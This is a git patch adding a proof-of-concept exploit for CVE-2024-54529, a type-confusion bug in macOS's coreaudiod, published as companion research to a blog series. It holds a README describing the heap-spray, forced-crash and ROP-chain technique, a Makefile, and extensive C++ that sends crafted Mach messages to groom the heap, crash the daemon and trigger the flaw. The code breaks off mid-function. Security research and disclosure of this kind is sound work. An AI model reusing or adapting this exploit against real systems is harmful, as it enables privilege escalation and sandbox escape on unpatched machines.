From e297ad4f2edd30ca4befed037b893ec9ebc02d3e Mon Sep 17 00:00:00 2001 From: Dillon Franke Date: Fri, 30 Jan 2026 09:39:28 -0800 Subject: [PATCH] add CVE-2024-54529 poc exploit as companion to second breaking the sound barrier blog post --- CoreAudioFuzz/exploit/Makefile | 19 + CoreAudioFuzz/exploit/README.md | 78 +++ CoreAudioFuzz/exploit/build_rop.py | 55 ++ CoreAudioFuzz/exploit/exploit.mm | 727 +++++++++++++++++++++++++ CoreAudioFuzz/exploit/reset-devices.sh | 11 + CoreAudioFuzz/exploit/run_exploit.py | 189 +++++++ 6 files changed, 1079 insertions(+) create mode 100644 CoreAudioFuzz/exploit/Makefile create mode 100644 CoreAudioFuzz/exploit/README.md create mode 100755 CoreAudioFuzz/exploit/build_rop.py create mode 100644 CoreAudioFuzz/exploit/exploit.mm create mode 100755 CoreAudioFuzz/exploit/reset-devices.sh create mode 100755 CoreAudioFuzz/exploit/run_exploit.py diff --git a/CoreAudioFuzz/exploit/Makefile b/CoreAudioFuzz/exploit/Makefile new file mode 100644 index 0000000..6c0f490 --- /dev/null +++ b/CoreAudioFuzz/exploit/Makefile @@ -0,0 +1,19 @@ +# Compiler +CXX = clang++ + +# Flags +CFLAGS = -g -O0 -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17 + +# Frameworks +FRAMEWORKS = -framework CoreFoundation -framework CoreAudio + +# Targets +all: exploit + +exploit: exploit.mm + $(CXX) $(CFLAGS) $(FRAMEWORKS) exploit.mm -o exploit + +clean: + rm -f exploit + +.PHONY: all clean diff --git a/CoreAudioFuzz/exploit/README.md b/CoreAudioFuzz/exploit/README.md new file mode 100644 index 0000000..45ab384 --- /dev/null +++ b/CoreAudioFuzz/exploit/README.md @@ -0,0 +1,78 @@ +# CoreAudio Exploit POC (macOS Sequoia) + +**Disclaimer: This code is provided for educational and research purposes only. The author is not responsible for any damage to your system, data loss, or any misuse of this information. Use at your own risk. Please make sure to read the "Important Warnings" section below.** + +## Overview + +This repository contains a Proof-of-Concept (POC) exploit targeting a Type Confusion vulnerability ([CVE-2024-54529](https://project-zero.issues.chromium.org/issues/372511888)) in `coreaudiod`. The vulnerability was fixed on December 11, 2024, with the release of macOS Sequoia 15.2, Sonoma 14.7.2, and Ventura 13.7.2. This specific exploit was developed and tested on macOS Sequoia 15.0.1. The exploit utilizes a heap spray and ROP chain to achieve code execution within the privileged `coreaudiod` process. This can be leverage for both privilege escalation and sandbox escapes. + +The successful execution of this exploit demonstrates writing a file to `/Library/Preferences/Audio/malicious.txt`. + +## Technical Details + +This exploit employs a chain of primitives to turn a Type Confusion into code execution: + +1. **Uninitialized Memory:** The vulnerability relies on `ngne` objects having uninitialized memory (specifically a 6-byte gap) at offset `0x68`. +2. **Heap Feng Shui via Plists:** We use `HALS_Object_SetPropertyData_DPList` to spray the heap with controlled data. By constructing large nested Property Lists (plists) containing `CFString` and `CFArray` objects, we control the memory layout. This data is serialized to disk at `/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`. +3. **Forced Restart Strategy:** `coreaudiod` cleans `malloc_tiny` zones but not `malloc_small` zones on allocation. To target the `ngne` objects (which are allocated in `malloc_small` only at startup), we intentionally crash `coreaudiod`. +4. **Race/Reclaim:** On restart, `coreaudiod` deserializes our massive plist, allocating memory for it, and then immediately frees it. The startup routine then allocates `ngne` objects, which hopefully reclaim the just-freed memory containing our controlled pointers. +5. **Pointer Chain & ROP:** The uninitialized memory at offset `0x68` now points to our controlled data, effectively creating a fake vtable. When the vulnerability is triggered, the program jumps to our ROP chain (encoded as UTF-16 string data to avoid validation issues), creating the target file. + +## Further Reading + +For a deep dive into the research behind this exploit, please refer to the following blog posts: + +- **Part I (Fuzzing):** [Breaking the Sound Barrier: Part I - Fuzzing CoreAudio](https://projectzero.google/2025/05/breaking-sound-barrier-part-i-fuzzing.html) +- **Part II (Exploitation):** [Breaking the Sound Barrier: Part II - Exploiting CVE-2024-54529](https://TBD) + +## Prerequisites + +- **macOS Version:** Tested on macOS Sequoia 15.0.1. +- **SIP:** While developed on a system with SIP disabled for debugging, the primitives used are intended to work within the constraints of the hardened runtime, subject to specific sandbox allowances. +- **Dependencies:** Python 3, Xcode Command Line Tools (for compilation). + +## Usage + +The main entry point is `run_exploit.py`. This script manages the entire exploitation lifecycle: heap grooming, service restarting, and the repeated triggering of the race condition. + +```bash +# Clean previous builds and compile the exploit binary +make exploit + +# Run the exploit runner +./run_exploit.py +``` + +### What Happens? + +1. **Backup:** The script automatically backs up your current audio configuration (`/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`) to `default-plist.plist` in the current directory. +2. **Heap Grooming:** It performs a massive heap spray (creating thousands of dummy audio objects) to prepare the memory layout. +3. **Service Reload:** It intentionally crashes `coreaudiod` once to force it to reload with the sprayed configuration. +4. **Exploit Loop:** It continuously attempts to trigger the UAF vulnerability until the ROP chain successfully executes. + +## ⚠️ Important Warnings + +**1. Audio Device Spam:** +Running this exploit will create a **massive number of dummy audio devices** on your system as part of the heap grooming process. You may experience audio unresponsiveness or latency until you perform the recovery steps below. + +**2. Recovery:** +The script is designed to handle this, but if your audio system behaves strangely after running the exploit, you can restore your original state: + +* **Automatic Backup:** The script saves your original state to `default-plist.plist`. +* **Manual Reset:** A helper script is provided to clear the clutter. Run it with `sudo` to restore the clean state: + ```bash + sudo ./reset-devices.sh + ``` + +**3. System Stability:** +This is a userland exploit involving system daemons. While unlikely to panic the kernel directly, crashing `coreaudiod` repeatedly may cause temporary audio loss or system instability. + +## Code Structure + +- `run_exploit.py`: The Python orchestration script. Handles state management, backups, and looping. +- `exploit.mm`: The C++ source code for the exploit binary. Handles the low-level Mach IPC messages, object creation, and memory spraying. +- `build_rop.py`: Python script to generate the ROP chain payload (`rop_payload.bin`). You'll need to find the correct runtime addresses for these gadgets, and do so again every time the system restarts. + +## License + +This software is open-source and provided "as is", without warranty of any kind. diff --git a/CoreAudioFuzz/exploit/build_rop.py b/CoreAudioFuzz/exploit/build_rop.py new file mode 100755 index 0000000..85a0a2b --- /dev/null +++ b/CoreAudioFuzz/exploit/build_rop.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 + +import struct + +# Helper for 64-bit little-endian packing +def p64(val): + return struct.pack(" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// ANSI color codes for pretty printing +#define RESET "\033[0m" +#define BOLD "\033[1m" +#define RED "\033[31m" +#define GREEN "\033[32m" +#define YELLOW "\033[33m" +#define BLUE "\033[34m" +#define MAGENTA "\033[35m" +#define CYAN "\033[36m" + +#define HIGH_OBJECT_ID_THAT_IS_NOT_USED_YET 12000 +#define XSYSTEM_OPEN_MSG_SIZE 0x38 +#define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24 +#define XSYSTEM_GET_OBJECT_INFO_SIZE 0x24 +#define XSYSTEM_CREATE_META_DEVICE_SIZE 0x38 + +const char *service_name = "com.apple.audio.audiohald"; +uint32_t num_iterations = 0; +uint32_t allocs_per_iteration = 0; +uint32_t previous_next_object_id = 0; +mach_port_t bootstrap_port = MACH_PORT_NULL; +mach_port_t service_port = MACH_PORT_NULL; + +std::vector created_devices = {}; +uint32_t engine_object_id = 0; + +typedef struct { + mach_msg_header_t header; + char body0[8]; + uint32_t object_id; +} xiocontext_fetch_workgroup_port_mach_message; + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t msgh_descriptor_count; + mach_msg_ool_descriptor_t descriptor[1]; + char body0[8]; + uint32_t plist_length; +} xsystem_createmetadevice_mach_message; + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t msgh_descriptor_count; + mach_msg_ool_descriptor_t descriptor[1]; + char body0[8]; + uint32_t object_id; + uint32_t mSelector; + uint32_t mScope; + uint32_t mElement; + uint32_t plist_length; +} xobject_getpropertydata_dcfstring_qplist_mach_message; + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t msgh_descriptor_count; + mach_msg_ool_descriptor_t descriptor[1]; + char body0[8]; + uint32_t object_id; + uint32_t mSelector; + uint32_t mScope; + uint32_t mElement; + uint32_t plist_length; +} xobject_setpropertydata_dplist_mach_message; + +typedef struct { + mach_msg_header_t header; + char body0[8]; + uint32_t object_id; +} xsystem_getobjectinfo_mach_message; + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t msgh_descriptor_count; + mach_msg_port_descriptor_t descriptor[1]; + char body[]; +} xsystemopen_mach_message; + +mach_port_t create_mach_port_with_send_and_receive_rights() { + mach_port_t port; + kern_return_t kr; + + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Failed to allocate port: %s\n" RESET, mach_error_string(kr)); + exit(1); + } + + kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + if (kr != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Failed to insert send right: %s\n" RESET, mach_error_string(kr)); + exit(1); + } + + return port; +} + +std::string generateRandomString(size_t length = 10) { + const char charset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + std::string randomString; + randomString.reserve(length); // Optimize for performance + + for (size_t i = 0; i < length; ++i) { + randomString += charset[arc4random_uniform(sizeof(charset) - 1)]; + } + + return randomString; +} + +char *generateCreateMetaDevicePlist() { + std::ostringstream plistStream; + plistStream << "" + "" + "nameHeap Grooming Devicestackeduid"; + + std::string uid = generateRandomString(); + + plistStream << "" << uid << ""; + + plistStream << ""; + + std::string plistString = plistStream.str(); + std::cout << CYAN "⚙️ Creating Meta Device with uid: " << BOLD << uid << RESET << std::endl; + return strdup(plistString.c_str()); +} + +char *generateCreateEnginePlist() { + std::ostringstream plistStream; + plistStream << "" + "" + "TapUUIDExploitTapIsMixdown"; + + std::string plistString = plistStream.str(); + return strdup(plistString.c_str()); +} + +char * getObjectType(uint32_t object_id) { + mach_msg_return_t result; + xsystem_getobjectinfo_mach_message *msg = (xsystem_getobjectinfo_mach_message *)malloc(XSYSTEM_GET_OBJECT_INFO_SIZE); + void *reply = malloc(100); + memset(reply, 0xAA, 100); + + mach_port_t reply_port; + kern_return_t kr; + + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Error allocating reply port: %s\n" RESET, mach_error_string(kr)); + return NULL; + } + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND, MACH_PORT_NULL, MACH_PORT_NULL); + msg->header.msgh_size = XSYSTEM_GET_OBJECT_INFO_SIZE; + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = reply_port; + msg->header.msgh_id = 1010002; + + msg->object_id = object_id; + + result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, XSYSTEM_GET_OBJECT_INFO_SIZE, 0, MACH_PORT_NULL, 1000, MACH_PORT_NULL); + if (result != MACH_MSG_SUCCESS) { + // printf(RED "❌ Mach message send failed for GetObjectInfo: %s\n" RESET, mach_error_string(result)); + free(msg); + free(reply); + return NULL; + } + + result = mach_msg((mach_msg_header_t *)reply, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 100, reply_port, 1000, MACH_PORT_NULL); + if (result != MACH_MSG_SUCCESS) { + // fprintf(stderr, RED "❌ Error receiving Mach message: %s\n" RESET, mach_error_string(result)); + free(msg); + free(reply); + return NULL; + } + + mach_port_deallocate(mach_task_self(), reply_port); + + free(msg); + char *type = (char *)malloc(9); + memcpy(type, (char *)reply+48, 8); + type[8] = '\0'; + free(reply); + + return type; +} + +uint32_t getNextObjectID() { + if (!previous_next_object_id) previous_next_object_id = HIGH_OBJECT_ID_THAT_IS_NOT_USED_YET; + for (uint32_t object_id = previous_next_object_id + 50; object_id > 32; object_id--) { + char *object_type = getObjectType(object_id); + + if (object_type && !strcmp("jboa", object_type+4)) { + printf(GREEN "✅ Found an object at object ID %d of type %s!\n" RESET, object_id, object_type); + free(object_type); + previous_next_object_id = object_id + 1; + return object_id + 1; + } + free(object_type); + } + return 1; +} + +void *allocate_ool_memory(vm_size_t size, const char *data) { + void *oolBuffer = NULL; + if (vm_allocate(mach_task_self(), (vm_address_t *)&oolBuffer, size, VM_FLAGS_ANYWHERE) != KERN_SUCCESS) { + printf(RED "❌ Failed to allocate memory buffer\n" RESET); + return NULL; + } + + memcpy(oolBuffer, data, size); + + return oolBuffer; +} + +uint32_t createEngineObjects(uint32_t num_engine_objects) { + for (uint32_t i = 0; i < num_engine_objects; i++) { + uint32_t next_object_id = getNextObjectID() + 1; + + if (next_object_id == 1) { + printf(RED "❌ Error: Couldn't find the next Object ID...\n" RESET); + exit(1); + } + + xobject_getpropertydata_dcfstring_qplist_mach_message *msg = new xobject_getpropertydata_dcfstring_qplist_mach_message; + kern_return_t result; + + msg->msgh_descriptor_count = 1; + char *data = generateCreateEnginePlist(); + msg->descriptor[0].address = allocate_ool_memory(strlen(data) + 1, data); + msg->descriptor[0].size = strlen(data) + 1; + msg->descriptor[0].deallocate = 0; + msg->descriptor[0].type = 1; + msg->descriptor[0].copy = 1; + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + msg->header.msgh_size = sizeof(xobject_getpropertydata_dcfstring_qplist_mach_message); + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_voucher_port = MACH_PORT_NULL; + msg->header.msgh_id = 1010042; + + msg->plist_length = strlen(data) + 1; + msg->object_id = 1; + msg->mSelector = 'mktp'; + msg->mScope = 'glob'; + msg->mElement = 0; + + result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(xobject_getpropertydata_dcfstring_qplist_mach_message), 0, MACH_PORT_NULL, 5000, MACH_PORT_NULL); + if (result != MACH_MSG_SUCCESS) { + printf(RED "❌ Mach message send failed for CreateMetaDevice %d\n" RESET, result); + free(msg); + return 1; + } + + printf(YELLOW "🔎 Checking for successful creation of the Engine Device...\n" RESET); + + char *object_type = getObjectType(next_object_id); + printf("Object type is: " BOLD "%s" RESET ", ", object_type); + if (!strcmp(object_type, "ngnejboa")) { + printf(GREEN "which looks good! ✅\n" RESET); + } else { + printf(RED "which doesn't check out... ❌\n" RESET); + } + + engine_object_id = next_object_id; + delete msg; + free(data); + } + return 0; +} + +uint32_t createMetaDevice() { + uint32_t next_object_id = getNextObjectID(); + if (next_object_id == 1) { + printf(RED "❌ Error: Couldn't find the next Object ID...\n" RESET); + exit(1); + } + + xsystem_createmetadevice_mach_message *msg = new xsystem_createmetadevice_mach_message; + kern_return_t result; + + msg->msgh_descriptor_count = 1; + char *data = generateCreateMetaDevicePlist(); + msg->descriptor[0].address = allocate_ool_memory(strlen(data) + 1, data); + msg->descriptor[0].size = strlen(data) + 1; + msg->descriptor[0].deallocate = 0; + msg->descriptor[0].type = 1; + msg->descriptor[0].copy = 1; + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + msg->header.msgh_size = sizeof(xsystem_createmetadevice_mach_message); + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_voucher_port = MACH_PORT_NULL; + msg->header.msgh_id = 1010005; + + msg->plist_length = strlen(data) + 1; + + result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(xsystem_createmetadevice_mach_message), 0, MACH_PORT_NULL, 5000, MACH_PORT_NULL); + if (result != MACH_MSG_SUCCESS) { + printf(RED "❌ Mach message send failed for CreateMetaDevice %d\n" RESET, result); + free(msg); + return 1; + } + + printf(YELLOW "🔎 Checking for successful creation of the Meta Device...\n" RESET); + + char *object_type = getObjectType(next_object_id); + printf("Object type is: " BOLD "%s" RESET ", ", object_type); + if (!strcmp(object_type, "ggaaveda")) { + printf(GREEN "which looks good! ✅\n" RESET); + created_devices.push_back(next_object_id); + } else { + printf(RED "which doesn't check out... ❌\n" RESET); + previous_next_object_id += 200; + } + + delete msg; + free(data); + + return next_object_id; +} + +int sendInitializeClientMessage() { + kern_return_t kr; + xsystemopen_mach_message *xsystemopen_msg = (xsystemopen_mach_message *)malloc(XSYSTEM_OPEN_MSG_SIZE); + mach_port_t reply_port; + mach_port_t send_right_port = create_mach_port_with_send_and_receive_rights(); + + xsystemopen_msg->msgh_descriptor_count = 1; + xsystemopen_msg->descriptor[0].name = send_right_port; + xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND; + xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR; + + xsystemopen_msg->header.msgh_remote_port = service_port; + xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL; + xsystemopen_msg->header.msgh_id = 1010000; + + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Error allocating reply port: %s\n" RESET, mach_error_string(kr)); + return kr; + } + + xsystemopen_msg->header.msgh_local_port = MACH_PORT_NULL; + xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + + mach_msg_return_t result = mach_msg(&xsystemopen_msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, XSYSTEM_OPEN_MSG_SIZE, 0, send_right_port, 5000, MACH_PORT_NULL); + + free(xsystemopen_msg); + + if (result != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Error sending Mach message: %s\n" RESET, mach_error_string(result)); + return 1; + } + + mach_port_deallocate(mach_task_self(), send_right_port); + + printf(GREEN "🎉 XSystem_Open stage complete.\n" RESET); + return 0; +} + +static const char b64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +std::string base64_encode(const std::string& input) { + std::string encoded; + int val = 0, valb = -6; + for (uint8_t c : input) { + val = (val << 8) + c; + valb += 8; + while (valb >= 0) { + encoded.push_back(b64_table[(val >> valb) & 0x3F]); + valb -= 6; + } + } + if (valb > -6) encoded.push_back(b64_table[((val << 8) >> (valb + 8)) & 0x3F]); + while (encoded.size() % 4) encoded.push_back('='); + return encoded; +} + +char* generateAllocationPlistBinary(size_t& out_size) { + const size_t payload_bytes = 1152; + + std::ifstream ropFile("rop_payload.bin", std::ios::binary | std::ios::ate); + if (!ropFile.is_open()) { + std::cerr << RED << "❌ Failed to open rop_payload.bin" << RESET << std::endl; + return nullptr; + } + + std::streamsize size = ropFile.tellg(); + if (size != payload_bytes) { + std::cerr << RED << "❌ rop_payload.bin must be exactly 1152 bytes, got " << size << RESET << std::endl; + return nullptr; + } + + ropFile.seekg(0, std::ios::beg); + std::vector raw_bytes(payload_bytes); + if (!ropFile.read(reinterpret_cast(raw_bytes.data()), payload_bytes)) { + std::cerr << RED << "❌ Failed to read from rop_payload.bin" << RESET << std::endl; + return nullptr; + } + ropFile.close(); + + std::vector payload_utf16; + for (size_t i = 0; i < raw_bytes.size(); i += 2) { + uint16_t val; + std::memcpy(&val, &raw_bytes[i], 2); + payload_utf16.push_back(val); + } + + CFMutableArrayRef cfArray = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks); + + for (uint32_t i = 0; i < allocs_per_iteration; ++i) { + std::vector full_string; + full_string.insert(full_string.end(), payload_utf16.begin(), payload_utf16.end()); + + CFStringRef strEntry = CFStringCreateWithBytes(NULL, reinterpret_cast(full_string.data()), full_string.size() * sizeof(uint16_t), kCFStringEncodingUTF16LE, false); + + if (strEntry) { + CFArrayAppendValue(cfArray, strEntry); + CFRelease(strEntry); + } else { + std::cerr << RED << "❌ Failed to create CFString at index " << i << RESET << std::endl; + } + } + + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFStringRef key = CFStringCreateWithCString(NULL, "arr", kCFStringEncodingUTF8); + CFDictionarySetValue(dict, key, cfArray); + CFRelease(key); + CFRelease(cfArray); + + CFErrorRef error = NULL; + CFDataRef binaryData = CFPropertyListCreateData(NULL, dict, kCFPropertyListBinaryFormat_v1_0, 0, &error); + CFRelease(dict); + + if (!binaryData) { + if (error) CFShow(error); + return nullptr; + } + + out_size = CFDataGetLength(binaryData); + char* out = static_cast(malloc(out_size)); + memcpy(out, CFDataGetBytePtr(binaryData), out_size); + + CFRelease(binaryData); + return out; +} + +int doAllocations(int num_iterations) { + for (int allocation_count = 0; allocation_count < num_iterations; allocation_count++) { + printf("🌊 Spraying iteration %d/%d (%d allocations via plist)...\n", allocation_count + 1, num_iterations, allocs_per_iteration); + xobject_setpropertydata_dplist_mach_message *msg = new xobject_setpropertydata_dplist_mach_message; + msg->msgh_descriptor_count = 1; + + size_t data_size = 0; + char *data = generateAllocationPlistBinary(data_size); + + msg->descriptor[0].address = allocate_ool_memory(data_size, data); + msg->descriptor[0].size = data_size; + msg->descriptor[0].deallocate = 0; + msg->descriptor[0].type = 1; + msg->descriptor[0].copy = 1; + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + msg->header.msgh_size = sizeof(xobject_setpropertydata_dplist_mach_message); + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_voucher_port = MACH_PORT_NULL; + msg->header.msgh_id = 1010034; + + msg->object_id = createMetaDevice(); + msg->mSelector = 'acom'; + msg->mScope = 'glob'; + msg->mElement = 0; + msg->plist_length = data_size; + + mach_msg_return_t result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(xobject_setpropertydata_dplist_mach_message), 0, MACH_PORT_NULL, 5000, MACH_PORT_NULL); + + delete msg; + free(data); + + if (result != MACH_MSG_SUCCESS) { + fprintf(stderr, RED "❌ Error sending Mach message: %s\n" RESET, mach_error_string(result)); + return 1; + } + + printf(GREEN "✨ Successfully performed allocations %d\n" RESET, allocation_count + 1); + usleep(50000); + } + return 0; +} + +char* generateFreePlist() { + std::ostringstream plistStream; + plistStream << "" + "" + "arrFREE"; + + std::string plistString = plistStream.str(); + return strdup(plistString.c_str()); +} + +int freeAllocation() { + xobject_setpropertydata_dplist_mach_message *msg = new xobject_setpropertydata_dplist_mach_message; + msg->msgh_descriptor_count = 1; + char *data = generateFreePlist(); + + msg->descriptor[0].address = allocate_ool_memory(strlen(data) + 1, data); + msg->descriptor[0].size = strlen(data) + 1; + msg->descriptor[0].deallocate = 0; + msg->descriptor[0].type = 1; + msg->descriptor[0].copy = 1; + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + msg->header.msgh_size = sizeof(xobject_setpropertydata_dplist_mach_message); + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_voucher_port = MACH_PORT_NULL; + msg->header.msgh_id = 1010034; + + msg->object_id = created_devices.back(); + created_devices.pop_back(); + msg->mSelector = 'acom'; + msg->mScope = 'glob'; + msg->mElement = 0; + msg->plist_length = strlen(data) + 1; + + mach_msg_return_t result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(xobject_setpropertydata_dplist_mach_message), 0, MACH_PORT_NULL, 5000, MACH_PORT_NULL); + + delete msg; + free(data); + + if (result != MACH_MSG_SUCCESS) { + fprintf(stderr, RED "❌ Error sending Mach message: %s\n" RESET, mach_error_string(result)); + return 1; + } + + return 0; +} + +void trigger_vulnerability(uint32_t object_id) { + xiocontext_fetch_workgroup_port_mach_message *msg = new xiocontext_fetch_workgroup_port_mach_message; + + msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_PORT_NULL, MACH_PORT_NULL, MACH_PORT_NULL); + msg->header.msgh_size = sizeof(xiocontext_fetch_workgroup_port_mach_message); + msg->header.msgh_remote_port = service_port; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_id = 1010059; + + msg->object_id = object_id; + + kern_return_t result = mach_msg(&msg->header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(xiocontext_fetch_workgroup_port_mach_message), 0, MACH_PORT_NULL, 5000, MACH_PORT_NULL); + + if (result != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Error in mach_msg send and receive: %s\n" RESET, mach_error_string(result)); + delete msg; + return; + } + + delete msg; +} + +uint32_t getRandomEngineObject() { + uint32_t matches[1000]; + size_t count = 0; + + for (uint32_t i = 0x20; i < 200; i++) { + char *object_type = getObjectType(i); + + if (object_type) { + if (!strcmp(object_type, "ngnejboa")) { + printf(GREEN " -> Found ENGN object at ID %d\n" RESET, i); + matches[count++] = i; + } + free(object_type); + } + } + + if (count == 0) { + printf(RED "❌ ENGN object not found, something is wrong...\n" RESET); + exit(1); + } + + uint32_t chosen = matches[arc4random_uniform(count)]; + printf(MAGENTA "🎯 Random ENGN object chosen to try to exploit: %d\n" RESET, chosen); + return chosen; +} + +void initialize() { + kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, RED "❌ Failed to get bootstrap port, error: %s\n" RESET, mach_error_string(kr)); + exit(1); + } + printf(GREEN "✅ Got Bootstrap port! %d\n" RESET, bootstrap_port); + + kr = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if (kr != KERN_SUCCESS) { + printf(RED "❌ bootstrap lookup failed, error: %s\n" RESET, mach_error_string(kr)); + exit(1); + } + printf(GREEN "✅ Got service port! %d\n" RESET, service_port); + printf(BLUE "👉 Initializing client...\n" RESET); + sendInitializeClientMessage(); +} + +#include + +// ... (keep existing includes and defines) + +void print_usage(const char *prog_name) { + fprintf(stderr, "Usage: %s [options]\n", prog_name); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " --iterations Number of grooming iterations (default: 0)\n"); + fprintf(stderr, " --allocs Allocations per iteration (default: 0)\n"); + fprintf(stderr, " --frees Number of objects to free (default: 0)\n"); + fprintf(stderr, " --objects Number of engine objects to create (default: 0)\n"); + fprintf(stderr, " --pre-crash Trigger a crash before main exploit attempts (default: false)\n"); + fprintf(stderr, " --attempts Number of exploit attempts (default: 0)\n"); + fprintf(stderr, " --help Show this help message\n"); +} + +int main(int argc, char *argv[]) { + setvbuf(stdout, NULL, _IONBF, 0); + + // Default values + // num_iterations and allocs_per_iteration are global + uint32_t num_frees = 0; + uint32_t num_engine_objects = 0; + uint32_t trigger_pre_crash = 0; // Default: Don't trigger (equivalent to dont_trigger=1) + uint32_t num_attempts = 0; + + static struct option long_options[] = { + {"iterations", required_argument, 0, 'i'}, + {"allocs", required_argument, 0, 'a'}, + {"frees", required_argument, 0, 'f'}, + {"objects", required_argument, 0, 'o'}, + {"pre-crash", no_argument, 0, 'c'}, + {"attempts", required_argument, 0, 't'}, + {"help", no_argument, 0, 'h'}, + {0, 0, 0, 0} + }; + + int opt; + int option_index = 0; + + while ((opt = getopt_long(argc, argv, "i:a:f:o:ct:h", long_options, &option_index)) != -1) { + switch (opt) { + case 'i': num_iterations = (uint32_t)strtoul(optarg, NULL, 10); break; + case 'a': allocs_per_iteration = (uint32_t)strtoul(optarg, NULL, 10); break; + case 'f': num_frees = (uint32_t)strtoul(optarg, NULL, 10); break; + case 'o': num_engine_objects = (uint32_t)strtoul(optarg, NULL, 10); break; + case 'c': trigger_pre_crash = 1; break; + case 't': num_attempts = (uint32_t)strtoul(optarg, NULL, 10); break; + case 'h': print_usage(argv[0]); return 0; + default: print_usage(argv[0]); return 1; + } + } + + initialize(); + + if (num_iterations > 0) { + printf(BLUE "\n--- HEAP GROOMING PHASE ---\n" RESET); + printf("Performing %d iterations of %d allocations\n", num_iterations, allocs_per_iteration); + sleep(2); + doAllocations(num_iterations); + } + + if (num_frees > 0) { + printf(BLUE "\n--- FREEING PHASE ---\n" RESET); + if (num_frees > created_devices.size()) { + num_frees = created_devices.size(); + } + for (uint32_t i = 0; i < num_frees; i++) { + printf("🕳️ Freeing allocation %d...\n", i + 1); + freeAllocation(); + } + } + + if (num_engine_objects > 0) { + printf(BLUE "\n--- VULNERABLE OBJECT CREATION ---\n" RESET); + createEngineObjects(num_engine_objects); + } + + if (trigger_pre_crash) { + printf(MAGENTA "\n💣 Triggering a crash so we can load new ENGN objects...\n" RESET); + trigger_vulnerability(0x1); + printf(YELLOW "⏳ Triggered crash, waiting for coreaudiod to respawn...\n" RESET); + sleep(5); + initialize(); + } + + if (num_attempts > 0) { + printf(BLUE "\n--- EXPLOIT ATTEMPT PHASE ---\n" RESET); + for (uint32_t i = 0; i < num_attempts; i++) { + printf(CYAN "\n🔎 Attempt %d of %d: Enumerating ENGN objects in the Audio HAL...\n" RESET, i + 1, num_attempts); + uint32_t engn_id = getRandomEngineObject(); + printf(MAGENTA "💥 Triggering vulnerability on it...\n" RESET); + 